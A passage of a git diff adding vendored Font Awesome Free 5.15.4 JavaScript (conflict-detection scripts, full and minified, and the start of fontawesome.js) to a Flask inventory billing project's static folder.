diagScript.innerText = "(".concat(diagScriptFun.toString(), ")('").concat(nodeUnderTestId, "', '").concat(md5ForScript, "', '").concat(parentOrigin, "');"); + + diagFrame.onload = function () { + diagFrame.contentWindow.addEventListener('error', silenceErrors, true); + diagFrame.contentDocument.head.appendChild(diagScript); + diagFrame.contentDocument.head.appendChild(scriptUnderTest); + }; + + domready(function () { + return DOCUMENT.body.appendChild(diagFrame); + }); + }; + + for (var scriptIdx = 0; scriptIdx < scripts.length; scriptIdx++) { + _loop(scriptIdx); + } + + return scriptsByMD5; + } + + function setDoneResults(_ref2) { + var nodesTested = _ref2.nodesTested, + nodesFound = _ref2.nodesFound; + WINDOW.FontAwesomeDetection = WINDOW.FontAwesomeDetection || {}; + WINDOW.FontAwesomeDetection.nodesTested = nodesTested; + WINDOW.FontAwesomeDetection.nodesFound = nodesFound; + WINDOW.FontAwesomeDetection.detectionDone = true; + } + + function conflictDetection() { + var report$$1 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : function () {}; + var nodesTested = { + conflict: {}, + noConflict: {} + }; + + WINDOW.onmessage = function (e) { + if (WINDOW.location.origin === 'file://' || e.origin === WINDOW.location.origin) { + if (e && e.data) { + if (e.data.type === 'fontawesome-conflict') { + nodesTested.conflict[e.data.md5] = e.data; + } else if (e.data.type === 'no-conflict') { + nodesTested.noConflict[e.data.md5] = e.data; + } + } + } + }; + + var scriptsToTest = detectSvgConflicts(DOCUMENT.currentScript); + var cssToTest = detectWebfontConflicts(); + + var nodesFound = _objectSpread({}, scriptsToTest, cssToTest); + + var testCount = Object.keys(scriptsToTest).length + Object.keys(cssToTest).length; // The resultsCollectionMaxWait allows for the time between when the tests running under + // child iframes call postMessage with their results, and when the parent window + // receives and handles those events with window.onmessage. + // Making it configurable allows us to test the scenario where this timeout is exceeded. + // Naming it something very different from "timeout" is to help avoid the potential ambiguity between + // these two timeout-related settings. + + var masterTimeout = WINDOW.FontAwesomeDetection.timeout + WINDOW.FontAwesomeDetection.resultsCollectionMaxWait; + console.group('Font Awesome Detector'); + + if (testCount === 0) { + console.info('%cAll Good!', 'color: green; font-size: large'); + console.info('We didn\'t find anything that needs testing for conflicts. Ergo, no conflicts.'); + } else { + console.info("Testing ".concat(testCount, " possible conflicts.")); + console.info("We'll wait about ".concat(Math.round(WINDOW.FontAwesomeDetection.timeout / 10) / 100, " seconds while testing these and\n") + "then up to another ".concat(Math.round(WINDOW.FontAwesomeDetection.resultsCollectionMaxWait / 10) / 100, " to allow the browser time\n") + "to accumulate the results. But we'll probably be outta here way before then.\n\n"); + console.info("You can adjust those durations by assigning values to these attributes on the <script> element that loads this detection:"); + console.info("\t%c".concat(timeoutAttr, "%c: milliseconds to wait for each test before deciding whether it's a conflict."), 'font-weight: bold;', 'font-size: normal;'); + console.info("\t%c".concat(resultsCollectionMaxWaitAttr, "%c: milliseconds to wait for the browser to accumulate test results before giving up."), 'font-weight: bold;', 'font-size: normal;'); + pollUntil({ + // Give this overall timer a little extra cushion + maxDuration: masterTimeout, + showProgress: true, + progressIndicator: 'waiting...', + fn: function fn() { + return Object.keys(nodesTested.conflict).length + Object.keys(nodesTested.noConflict).length >= testCount; + } + }).then(function () { + console.info('DONE!'); + setDoneResults({ + nodesTested: nodesTested, + nodesFound: nodesFound + }); + report$$1({ + nodesTested: nodesTested, + nodesFound: nodesFound + }); + console.groupEnd(); + }).catch(function (e) { + if (e === 'timeout') { + console.info('TIME OUT! We waited until we got tired. Here\'s what we found:'); + setDoneResults({ + nodesTested: nodesTested, + nodesFound: nodesFound + }); + report$$1({ + nodesTested: nodesTested, + nodesFound: nodesFound + }); + } else { + console.info('Whoops! We hit an error:', e); + console.info('Here\'s what we\'d found up until that error:'); + setDoneResults({ + nodesTested: nodesTested, + nodesFound: nodesFound + }); + report$$1({ + nodesTested: nodesTested, + nodesFound: nodesFound + }); + } + + console.groupEnd(); + }); + } + } // Allow clients to access, and in some cases, override some properties + + var initialConfig = WINDOW.FontAwesomeDetection || {}; // These can be overridden + + var _default = { + report: report, + timeout: +(DOCUMENT.currentScript.getAttribute(timeoutAttr) || "2000"), + resultsCollectionMaxWait: +(DOCUMENT.currentScript.getAttribute(resultsCollectionMaxWaitAttr) || "5000") + }; + + var _config = _objectSpread({}, _default, initialConfig, { + // These cannot be overridden + __pollUntil: pollUntil, + md5ForNode: md5ForNode, + detectionDone: false, + nodesTested: null, + nodesFound: null + }); + + WINDOW.FontAwesomeDetection = _config; + + var PRODUCTION = function () { + try { + return process.env.NODE_ENV === 'production'; + } catch (e) { + return false; + } + }(); + + function bunker(fn) { + try { + fn(); + } catch (e) { + if (!PRODUCTION) { + throw e; + } + } + } + + bunker(function () { + if (IS_BROWSER && IS_DOM) { + conflictDetection(window.FontAwesomeDetection.report); + } + }); + + exports.conflictDetection = conflictDetection; + + Object.defineProperty(exports, '__esModule', { value: true }); + +}))); diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/conflict-detection.min.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/conflict-detection.min.js new file mode 100644 index 00000000..952d1b7a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/conflict-detection.min.js @@ -0,0 +1,370 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +var e, t; + +e = this, t = function(e) { + "use strict"; + function t(e) { + return (t = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(e) { + return typeof e; + } : function(e) { + return e && "function" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e; + })(e); + } + function a(r) { + for (var e = 1; e < arguments.length; e++) { + var i = null != arguments[e] ? arguments[e] : {}, t = Object.keys(i); + "function" == typeof Object.getOwnPropertySymbols && (t = t.concat(Object.getOwnPropertySymbols(i).filter(function(e) { + return Object.getOwnPropertyDescriptor(i, e).enumerable; + }))), t.forEach(function(e) { + var t, n, o; + t = r, o = i[n = e], n in t ? Object.defineProperty(t, n, { + value: o, + enumerable: !0, + configurable: !0, + writable: !0 + }) : t[n] = o; + }); + } + return r; + } + var n = {}, o = {}; + try { + "undefined" != typeof window && (n = window), "undefined" != typeof document && (o = document); + } catch (e) {} + var r = (n.navigator || {}).userAgent, i = void 0 === r ? "" : r, l = n, u = o, c = !!l.document, s = !!u.documentElement && !!u.head && "function" == typeof u.addEventListener && "function" == typeof u.createElement, f = (~i.indexOf("MSIE") || i.indexOf("Trident/"), + []), d = !1; + function m(e) { + s && (d ? setTimeout(e, 0) : f.push(e)); + } + s && ((d = (u.documentElement.doScroll ? /^loaded|^c/ : /^loaded|^i|^c/).test(u.readyState)) || u.addEventListener("DOMContentLoaded", function e() { + u.removeEventListener("DOMContentLoaded", e), d = 1, f.map(function(e) { + return e(); + }); + })); + var g = "undefined" != typeof window ? window : "undefined" != typeof global ? global : "undefined" != typeof self ? self : {}; + var h, p = (function(c) { + !function(e) { + function u(e, t) { + var n = (65535 & e) + (65535 & t); + return (e >> 16) + (t >> 16) + (n >> 16) << 16 | 65535 & n; + } + function a(e, t, n, o, r, i) { + return u((c = u(u(t, e), u(o, i))) << (a = r) | c >>> 32 - a, n); + var c, a; + } + function d(e, t, n, o, r, i, c) { + return a(t & n | ~t & o, e, t, r, i, c); + } + function m(e, t, n, o, r, i, c) { + return a(t & o | n & ~o, e, t, r, i, c); + } + function g(e, t, n, o, r, i, c) { + return a(t ^ n ^ o, e, t, r, i, c); + } + function h(e, t, n, o, r, i, c) { + return a(n ^ (t | ~o), e, t, r, i, c); + } + function s(e, t) { + var n, o, r, i, c; + e[t >> 5] |= 128 << t % 32, e[14 + (t + 64 >>> 9 << 4)] = t; + var a = 1732584193, s = -271733879, f = -1732584194, l = 271733878; + for (n = 0; n < e.length; n += 16) s = h(s = h(s = h(s = h(s = g(s = g(s = g(s = g(s = m(s = m(s = m(s = m(s = d(s = d(s = d(s = d(r = s, f = d(i = f, l = d(c = l, a = d(o = a, s, f, l, e[n], 7, -680876936), s, f, e[n + 1], 12, -389564586), a, s, e[n + 2], 17, 606105819), l, a, e[n + 3], 22, -1044525330), f = d(f, l = d(l, a = d(a, s, f, l, e[n + 4], 7, -176418897), s, f, e[n + 5], 12, 1200080426), a, s, e[n + 6], 17, -1473231341), l, a, e[n + 7], 22, -45705983), f = d(f, l = d(l, a = d(a, s, f, l, e[n + 8], 7, 1770035416), s, f, e[n + 9], 12, -1958414417), a, s, e[n + 10], 17, -42063), l, a, e[n + 11], 22, -1990404162), f = d(f, l = d(l, a = d(a, s, f, l, e[n + 12], 7, 1804603682), s, f, e[n + 13], 12, -40341101), a, s, e[n + 14], 17, -1502002290), l, a, e[n + 15], 22, 1236535329), f = m(f, l = m(l, a = m(a, s, f, l, e[n + 1], 5, -165796510), s, f, e[n + 6], 9, -1069501632), a, s, e[n + 11], 14, 643717713), l, a, e[n], 20, -373897302), f = m(f, l = m(l, a = m(a, s, f, l, e[n + 5], 5, -701558691), s, f, e[n + 10], 9, 38016083), a, s, e[n + 15], 14, -660478335), l, a, e[n + 4], 20, -405537848), f = m(f, l = m(l, a = m(a, s, f, l, e[n + 9], 5, 568446438), s, f, e[n + 14], 9, -1019803690), a, s, e[n + 3], 14, -187363961), l, a, e[n + 8], 20, 1163531501), f = m(f, l = m(l, a = m(a, s, f, l, e[n + 13], 5, -1444681467), s, f, e[n + 2], 9, -51403784), a, s, e[n + 7], 14, 1735328473), l, a, e[n + 12], 20, -1926607734), f = g(f, l = g(l, a = g(a, s, f, l, e[n + 5], 4, -378558), s, f, e[n + 8], 11, -2022574463), a, s, e[n + 11], 16, 1839030562), l, a, e[n + 14], 23, -35309556), f = g(f, l = g(l, a = g(a, s, f, l, e[n + 1], 4, -1530992060), s, f, e[n + 4], 11, 1272893353), a, s, e[n + 7], 16, -155497632), l, a, e[n + 10], 23, -1094730640), f = g(f, l = g(l, a = g(a, s, f, l, e[n + 13], 4, 681279174), s, f, e[n], 11, -358537222), a, s, e[n + 3], 16, -722521979), l, a, e[n + 6], 23, 76029189), f = g(f, l = g(l, a = g(a, s, f, l, e[n + 9], 4, -640364487), s, f, e[n + 12], 11, -421815835), a, s, e[n + 15], 16, 530742520), l, a, e[n + 2], 23, -995338651), f = h(f, l = h(l, a = h(a, s, f, l, e[n], 6, -198630844), s, f, e[n + 7], 10, 1126891415), a, s, e[n + 14], 15, -1416354905), l, a, e[n + 5], 21, -57434055), f = h(f, l = h(l, a = h(a, s, f, l, e[n + 12], 6, 1700485571), s, f, e[n + 3], 10, -1894986606), a, s, e[n + 10], 15, -1051523), l, a, e[n + 1], 21, -2054922799), f = h(f, l = h(l, a = h(a, s, f, l, e[n + 8], 6, 1873313359), s, f, e[n + 15], 10, -30611744), a, s, e[n + 6], 15, -1560198380), l, a, e[n + 13], 21, 1309151649), f = h(f, l = h(l, a = h(a, s, f, l, e[n + 4], 6, -145523070), s, f, e[n + 11], 10, -1120210379), a, s, e[n + 2], 15, 718787259), l, a, e[n + 9], 21, -343485551), + a = u(a, o), s = u(s, r), f = u(f, i), l = u(l, c); + return [ a, s, f, l ]; + } + function f(e) { + var t, n = "", o = 32 * e.length; + for (t = 0; t < o; t += 8) n += String.fromCharCode(e[t >> 5] >>> t % 32 & 255); + return n; + } + function l(e) { + var t, n = []; + for (n[(e.length >> 2) - 1] = void 0, t = 0; t < n.length; t += 1) n[t] = 0; + var o = 8 * e.length; + for (t = 0; t < o; t += 8) n[t >> 5] |= (255 & e.charCodeAt(t / 8)) << t % 32; + return n; + } + function o(e) { + var t, n, o = "0123456789abcdef", r = ""; + for (n = 0; n < e.length; n += 1) t = e.charCodeAt(n), r += o.charAt(t >>> 4 & 15) + o.charAt(15 & t); + return r; + } + function n(e) { + return unescape(encodeURIComponent(e)); + } + function r(e) { + return f(s(l(t = n(e)), 8 * t.length)); + var t; + } + function i(e, t) { + return function(e, t) { + var n, o, r = l(e), i = [], c = []; + for (i[15] = c[15] = void 0, 16 < r.length && (r = s(r, 8 * e.length)), n = 0; n < 16; n += 1) i[n] = 909522486 ^ r[n], + c[n] = 1549556828 ^ r[n]; + return o = s(i.concat(l(t)), 512 + 8 * t.length), f(s(c.concat(o), 640)); + }(n(e), n(t)); + } + function t(e, t, n) { + return t ? n ? i(t, e) : o(i(t, e)) : n ? r(e) : o(r(e)); + } + c.exports ? c.exports = t : e.md5 = t; + }(g); + }(h = { + exports: {} + }, h.exports), h.exports); + function v(e) { + if (null !== e && "object" === t(e)) return e.src ? p(e.src) : e.href ? p(e.href) : e.innerText && "" !== e.innerText ? p(e.innerText) : void 0; + } + var y = "fa-kits-diag", w = "fa-kits-node-under-test", b = "data-md5", x = "data-fa-detection-ignore", A = "data-fa-detection-timeout", T = "data-fa-detection-results-collection-max-wait", D = function(e) { + e.preventDefault(), e.stopPropagation(); + }; + function E(e) { + var t = e.fn, c = void 0 === t ? function() { + return !0; + } : t, n = e.initialDuration, o = void 0 === n ? 1 : n, r = e.maxDuration, a = void 0 === r ? l.FontAwesomeDetection.timeout : r, i = e.showProgress, s = void 0 !== i && i, f = e.progressIndicator; + return new Promise(function(r, i) { + !function n(e, o) { + setTimeout(function() { + var e = c(); + if (s && console.info(f), e) r(e); else { + var t = 250 + o; + t <= a ? n(250, t) : i("timeout"); + } + }, e); + }(o, 0); + }); + } + function C(e) { + var t = e.nodesTested, n = e.nodesFound; + l.FontAwesomeDetection = l.FontAwesomeDetection || {}, l.FontAwesomeDetection.nodesTested = t, + l.FontAwesomeDetection.nodesFound = n, l.FontAwesomeDetection.detectionDone = !0; + } + function F() { + var t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : function() {}, n = { + conflict: {}, + noConflict: {} + }; + l.onmessage = function(e) { + "file://" !== l.location.origin && e.origin !== l.location.origin || e && e.data && ("fontawesome-conflict" === e.data.type ? n.conflict[e.data.md5] = e.data : "no-conflict" === e.data.type && (n.noConflict[e.data.md5] = e.data)); + }; + var e = function(t) { + for (var c = Array.from(u.scripts).filter(function(e) { + return !e.hasAttribute(x) && e !== t; + }), a = {}, e = function(e) { + var t = u.createElement("iframe"); + t.setAttribute("style", "display:none;"); + var n = u.createElement("script"); + n.setAttribute("id", w); + var o = v(c[e]); + n.setAttribute(b, o), a[o] = c[e], "" !== c[e].src && (n.src = c[e].src), "" !== c[e].innerText && (n.innerText = c[e].innerText), + n.async = !0; + var r = u.createElement("script"); + r.setAttribute("id", y); + var i = "file://" === l.location.origin ? "*" : l.location.origin; + r.innerText = "(".concat(function(n, o, r) { + parent.FontAwesomeDetection.__pollUntil({ + fn: function() { + return !!window.FontAwesomeConfig || !!window.FontAwesomeKitConfig; + } + }).then(function() { + var e = document.getElementById(n); + parent.postMessage({ + type: "fontawesome-conflict", + technology: "js", + src: e.src, + innerText: e.innerText, + tagName: e.tagName, + md5: o + }, r); + }).catch(function(e) { + var t = document.getElementById(n); + "timeout" === e ? parent.postMessage({ + type: "no-conflict", + src: t.src, + innerText: t.innerText, + tagName: t.tagName, + md5: o + }, r) : console.error(e); + }); + }.toString(), ")('").concat(w, "', '").concat(o, "', '").concat(i, "');"), t.onload = function() { + t.contentWindow.addEventListener("error", D, !0), t.contentDocument.head.appendChild(r), + t.contentDocument.head.appendChild(n); + }, m(function() { + return u.body.appendChild(t); + }); + }, n = 0; n < c.length; n++) e(n); + return a; + }(u.currentScript), o = function() { + var e = Array.from(u.getElementsByTagName("link")).filter(function(e) { + return !e.hasAttribute(x); + }), t = Array.from(u.getElementsByTagName("style")).filter(function(e) { + return !(e.hasAttribute(x) || l.FontAwesomeConfig && e.innerText.match(new RegExp("svg:not\\(:root\\)\\.".concat(l.FontAwesomeConfig.replacementClass)))); + }); + function n(e, t) { + var n = u.createElement("iframe"); + n.setAttribute("style", "visibility: hidden; position: absolute; height: 0; width: 0;"); + var o = "fa-test-icon-" + t, r = u.createElement("i"); + r.setAttribute("class", "fa fa-coffee"), r.setAttribute("id", o); + var i = u.createElement("script"); + i.setAttribute("id", y); + var c = "file://" === l.location.origin ? "*" : l.location.origin; + i.innerText = "(".concat(function(n, o, r, i) { + parent.FontAwesomeDetection.__pollUntil({ + fn: function() { + var e = document.getElementById(o), t = window.getComputedStyle(e).getPropertyValue("font-family"); + return !(!t.match(/FontAwesome/) && !t.match(/Font Awesome 5/)); + } + }).then(function() { + var e = document.getElementById(n); + parent.postMessage({ + type: "fontawesome-conflict", + technology: "webfont", + href: e.href, + innerText: e.innerText, + tagName: e.tagName, + md5: r + }, i); + }).catch(function(e) { + var t = document.getElementById(n); + "timeout" === e ? parent.postMessage({ + type: "no-conflict", + technology: "webfont", + href: t.src, + innerText: t.innerText, + tagName: t.tagName, + md5: r + }, i) : console.error(e); + }); + }.toString(), ")('").concat(w, "', '").concat(o || "foo", "', '").concat(t, "', '").concat(c, "');"), + n.onload = function() { + n.contentWindow.addEventListener("error", D, !0), n.contentDocument.head.appendChild(i), + n.contentDocument.head.appendChild(e), n.contentDocument.body.appendChild(r); + }, m(function() { + return u.body.appendChild(n); + }); + } + for (var o = {}, r = 0; r < e.length; r++) { + var i = u.createElement("link"); + i.setAttribute("id", w), i.setAttribute("href", e[r].href), i.setAttribute("rel", e[r].rel); + var c = v(e[r]); + i.setAttribute(b, c), o[c] = e[r], n(i, c); + } + for (var a = 0; a < t.length; a++) { + var s = u.createElement("style"); + s.setAttribute("id", w); + var f = v(t[a]); + s.setAttribute(b, f), s.innerText = t[a].innerText, o[f] = t[a], n(s, f); + } + return o; + }(), r = a({}, e, o), i = Object.keys(e).length + Object.keys(o).length, c = l.FontAwesomeDetection.timeout + l.FontAwesomeDetection.resultsCollectionMaxWait; + console.group("Font Awesome Detector"), 0 === i ? (console.info("%cAll Good!", "color: green; font-size: large"), + console.info("We didn't find anything that needs testing for conflicts. Ergo, no conflicts.")) : (console.info("Testing ".concat(i, " possible conflicts.")), + console.info("We'll wait about ".concat(Math.round(l.FontAwesomeDetection.timeout / 10) / 100, " seconds while testing these and\n") + "then up to another ".concat(Math.round(l.FontAwesomeDetection.resultsCollectionMaxWait / 10) / 100, " to allow the browser time\n") + "to accumulate the results. But we'll probably be outta here way before then.\n\n"), + console.info("You can adjust those durations by assigning values to these attributes on the <script> element that loads this detection:"), + console.info("\t%c".concat(A, "%c: milliseconds to wait for each test before deciding whether it's a conflict."), "font-weight: bold;", "font-size: normal;"), + console.info("\t%c".concat(T, "%c: milliseconds to wait for the browser to accumulate test results before giving up."), "font-weight: bold;", "font-size: normal;"), + E({ + maxDuration: c, + showProgress: !0, + progressIndicator: "waiting...", + fn: function() { + return Object.keys(n.conflict).length + Object.keys(n.noConflict).length >= i; + } + }).then(function() { + console.info("DONE!"), C({ + nodesTested: n, + nodesFound: r + }), t({ + nodesTested: n, + nodesFound: r + }), console.groupEnd(); + }).catch(function(e) { + "timeout" === e ? console.info("TIME OUT! We waited until we got tired. Here's what we found:") : (console.info("Whoops! We hit an error:", e), + console.info("Here's what we'd found up until that error:")), C({ + nodesTested: n, + nodesFound: r + }), t({ + nodesTested: n, + nodesFound: r + }), console.groupEnd(); + })); + } + var O = l.FontAwesomeDetection || {}, N = a({}, { + report: function(e) { + var t = e.nodesTested, n = e.nodesFound, o = {}; + for (var r in n) t.conflict[r] || t.noConflict[r] || (o[r] = n[r]); + var i = Object.keys(t.conflict).length; + if (0 < i) { + console.info("%cConflict".concat(1 < i ? "s" : "", " found:"), "color: darkred; font-size: large"); + var c = {}; + for (var a in t.conflict) { + var s = t.conflict[a]; + c[a] = { + tagName: s.tagName, + "src/href": s.src || s.href || "n/a", + "innerText excerpt": s.innerText && "" !== s.innerText ? s.innerText.slice(0, 200) + "..." : "(empty)" + }; + } + console.table(c); + } + var f = Object.keys(t.noConflict).length; + if (0 < f) { + console.info("%cNo conflict".concat(1 < f ? "s" : "", " found with ").concat(1 == f ? "this" : "these", ":"), "color: green; font-size: large"); + var l = {}; + for (var u in t.noConflict) { + var d = t.noConflict[u]; + l[u] = { + tagName: d.tagName, + "src/href": d.src || d.href || "n/a", + "innerText excerpt": d.innerText && "" !== d.innerText ? d.innerText.slice(0, 200) + "..." : "(empty)" + }; + } + console.table(l); + } + var m = Object.keys(o).length; + if (0 < m) { + console.info("%cLeftovers--we timed out before collecting test results for ".concat(1 == m ? "this" : "these", ":"), "color: blue; font-size: large"); + var g = {}; + for (var h in o) { + var p = o[h]; + g[h] = { + tagName: p.tagName, + "src/href": p.src || p.href || "n/a", + "innerText excerpt": p.innerText && "" !== p.innerText ? p.innerText.slice(0, 200) + "..." : "(empty)" + }; + } + console.table(g); + } + }, + timeout: +(u.currentScript.getAttribute(A) || "2000"), + resultsCollectionMaxWait: +(u.currentScript.getAttribute(T) || "5000") + }, O, { + __pollUntil: E, + md5ForNode: v, + detectionDone: !1, + nodesTested: null, + nodesFound: null + }); + l.FontAwesomeDetection = N; + var j = function() { + try { + return "production" === process.env.NODE_ENV; + } catch (e) { + return !1; + } + }(); + !function(e) { + try { + e(); + } catch (e) { + if (!j) throw e; + } + }(function() { + c && s && F(window.FontAwesomeDetection.report); + }), e.conflictDetection = F, Object.defineProperty(e, "__esModule", { + value: !0 + }); +}, "object" == typeof exports && "undefined" != typeof module ? t(exports) : "function" == typeof define && define.amd ? define([ "exports" ], t) : t(e["fontawesome-free-conflict-detection"] = {}); \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/fontawesome.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/fontawesome.js new file mode 100644 index 00000000..c8582667 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/fontawesome.js @@ -0,0 +1,2483 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +(function () { + 'use strict'; + + function _typeof(obj) { + if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { + _typeof = function (obj) { + return typeof obj; + }; + } else { + _typeof = function (obj) { + return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; + }; + } + + return _typeof(obj); + } + + function _classCallCheck(instance, Constructor) { + if (!(instance instanceof Constructor)) { + throw new TypeError("Cannot call a class as a function"); + } + } + + function _defineProperties(target, props) { + for (var i = 0; i < props.length; i++) { + var descriptor = props[i]; + descriptor.enumerable = descriptor.enumerable || false; + descriptor.configurable = true; + if ("value" in descriptor) descriptor.writable = true; + Object.defineProperty(target, descriptor.key, descriptor); + } + } + + function _createClass(Constructor, protoProps, staticProps) { + if (protoProps) _defineProperties(Constructor.prototype, protoProps); + if (staticProps) _defineProperties(Constructor, staticProps); + return Constructor; + } + + function _defineProperty(obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + } + + function _objectSpread(target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i] != null ? arguments[i] : {}; + var ownKeys = Object.keys(source); + + if (typeof Object.getOwnPropertySymbols === 'function') { + ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { + return Object.getOwnPropertyDescriptor(source, sym).enumerable; + })); + } + + ownKeys.forEach(function (key) { + _defineProperty(target, key, source[key]); + }); + } + + return target; + } + + function _slicedToArray(arr, i) { + return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); + } + + function _toConsumableArray(arr) { + return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); + } + + function _arrayWithoutHoles(arr) { + if (Array.isArray(arr)) { + for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) arr2[i] = arr[i]; + + return arr2; + } + } + + function _arrayWithHoles(arr) { + if (Array.isArray(arr)) return arr; + } + + function _iterableToArray(iter) { + if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); + } + + function _iterableToArrayLimit(arr, i) { + var _arr = []; + var _n = true; + var _d = false; + var _e = undefined; + + try { + for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { + _arr.push(_s.value); + + if (i && _arr.length === i) break; + } + } catch (err) { + _d = true; + _e = err; + } finally { + try { + if (!_n && _i["return"] != null) _i["return"](); + } finally { + if (_d) throw _e; + } + } + + return _arr; + } + + function _nonIterableSpread() { + throw new TypeError("Invalid attempt to spread non-iterable instance"); + } + + function _nonIterableRest() { + throw new TypeError("Invalid attempt to destructure non-iterable instance"); + } + + var noop = function noop() {}; + + var _WINDOW = {}; + var _DOCUMENT = {}; + var _MUTATION_OBSERVER = null; + var _PERFORMANCE = { + mark: noop, + measure: noop + }; + + try { + if (typeof window !== 'undefined') _WINDOW = window; + if (typeof document !== 'undefined') _DOCUMENT = document; + if (typeof MutationObserver !== 'undefined') _MUTATION_OBSERVER = MutationObserver; + if (typeof performance !== 'undefined') _PERFORMANCE = performance; + } catch (e) {} + + var _ref = _WINDOW.navigator || {}, + _ref$userAgent = _ref.userAgent, + userAgent = _ref$userAgent === void 0 ? '' : _ref$userAgent; + + var WINDOW = _WINDOW; + var DOCUMENT = _DOCUMENT; + var MUTATION_OBSERVER = _MUTATION_OBSERVER; + var PERFORMANCE = _PERFORMANCE; + var IS_BROWSER = !!WINDOW.document; + var IS_DOM = !!DOCUMENT.documentElement && !!DOCUMENT.head && typeof DOCUMENT.addEventListener === 'function' && typeof DOCUMENT.createElement === 'function'; + var IS_IE = ~userAgent.indexOf('MSIE') || ~userAgent.indexOf('Trident/'); + + var NAMESPACE_IDENTIFIER = '___FONT_AWESOME___'; + var UNITS_IN_GRID = 16; + var DEFAULT_FAMILY_PREFIX = 'fa'; + var DEFAULT_REPLACEMENT_CLASS = 'svg-inline--fa'; + var DATA_FA_I2SVG = 'data-fa-i2svg'; + var DATA_FA_PSEUDO_ELEMENT = 'data-fa-pseudo-element'; + var DATA_FA_PSEUDO_ELEMENT_PENDING = 'data-fa-pseudo-element-pending'; + var DATA_PREFIX = 'data-prefix'; + var DATA_ICON = 'data-icon'; + var HTML_CLASS_I2SVG_BASE_CLASS = 'fontawesome-i2svg'; + var MUTATION_APPROACH_ASYNC = 'async'; + var TAGNAMES_TO_SKIP_FOR_PSEUDOELEMENTS = ['HTML', 'HEAD', 'STYLE', 'SCRIPT']; + var PRODUCTION = function () { + try { + return undefined === 'production'; + } catch (e) { + return false; + } + }(); + var PREFIX_TO_STYLE = { + 'fas': 'solid', + 'far': 'regular', + 'fal': 'light', + 'fad': 'duotone', + 'fab': 'brands', + 'fak': 'kit', + 'fa': 'solid' + }; + var STYLE_TO_PREFIX = { + 'solid': 'fas', + 'regular': 'far', + 'light': 'fal', + 'duotone': 'fad', + 'brands': 'fab', + 'kit': 'fak' + }; + var LAYERS_TEXT_CLASSNAME = 'fa-layers-text'; + var FONT_FAMILY_PATTERN = /Font Awesome ([5 ]*)(Solid|Regular|Light|Duotone|Brands|Free|Pro|Kit).*/i; // TODO: do we need to handle font-weight for kit SVG pseudo-elements? + + var FONT_WEIGHT_TO_PREFIX = { + '900': 'fas', + '400': 'far', + 'normal': 'far', + '300': 'fal' + }; + var oneToTen = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]; + var oneToTwenty = oneToTen.concat([11, 12, 13, 14, 15, 16, 17, 18, 19, 20]); + var ATTRIBUTES_WATCHED_FOR_MUTATION = ['class', 'data-prefix', 'data-icon', 'data-fa-transform', 'data-fa-mask']; + var DUOTONE_CLASSES = { + GROUP: 'group', + SWAP_OPACITY: 'swap-opacity', + PRIMARY: 'primary', + SECONDARY: 'secondary' + }; + var RESERVED_CLASSES = ['xs', 'sm', 'lg', 'fw', 'ul', 'li', 'border', 'pull-left', 'pull-right', 'spin', 'pulse', 'rotate-90', 'rotate-180', 'rotate-270', 'flip-horizontal', 'flip-vertical', 'flip-both', 'stack', 'stack-1x', 'stack-2x', 'inverse', 'layers', 'layers-text', 'layers-counter', DUOTONE_CLASSES.GROUP, DUOTONE_CLASSES.SWAP_OPACITY, DUOTONE_CLASSES.PRIMARY, DUOTONE_CLASSES.SECONDARY].concat(oneToTen.map(function (n) { + return "".concat(n, "x"); + })).concat(oneToTwenty.map(function (n) { + return "w-".concat(n); + })); + + var initial = WINDOW.FontAwesomeConfig || {}; + + function getAttrConfig(attr) { + var element = DOCUMENT.querySelector('script[' + attr + ']'); + + if (element) { + return element.getAttribute(attr); + } + } + + function coerce(val) { + // Getting an empty string will occur if the attribute is set on the HTML tag but without a value + // We'll assume that this is an indication that it should be toggled to true + // For example <script data-search-pseudo-elements src="..."></script> + if (val === '') return true; + if (val === 'false') return false; + if (val === 'true') return true; + return val; + } + + if (DOCUMENT && typeof DOCUMENT.querySelector === 'function') { + var attrs = [['data-family-prefix', 'familyPrefix'], ['data-replacement-class', 'replacementClass'], ['data-auto-replace-svg', 'autoReplaceSvg'], ['data-auto-add-css', 'autoAddCss'], ['data-auto-a11y', 'autoA11y'], ['data-search-pseudo-elements', 'searchPseudoElements'], ['data-observe-mutations', 'observeMutations'], ['data-mutate-approach', 'mutateApproach'], ['data-keep-original-source', 'keepOriginalSource'], ['data-measure-performance', 'measurePerformance'], ['data-show-missing-icons', 'showMissingIcons']]; + attrs.forEach(function (_ref) { + var _ref2 = _slicedToArray(_ref, 2), + attr = _ref2[0], + key = _ref2[1]; + + var val = coerce(getAttrConfig(attr)); + + if (val !== undefined && val !== null) { + initial[key] = val; + } + }); + } + + var _default = { + 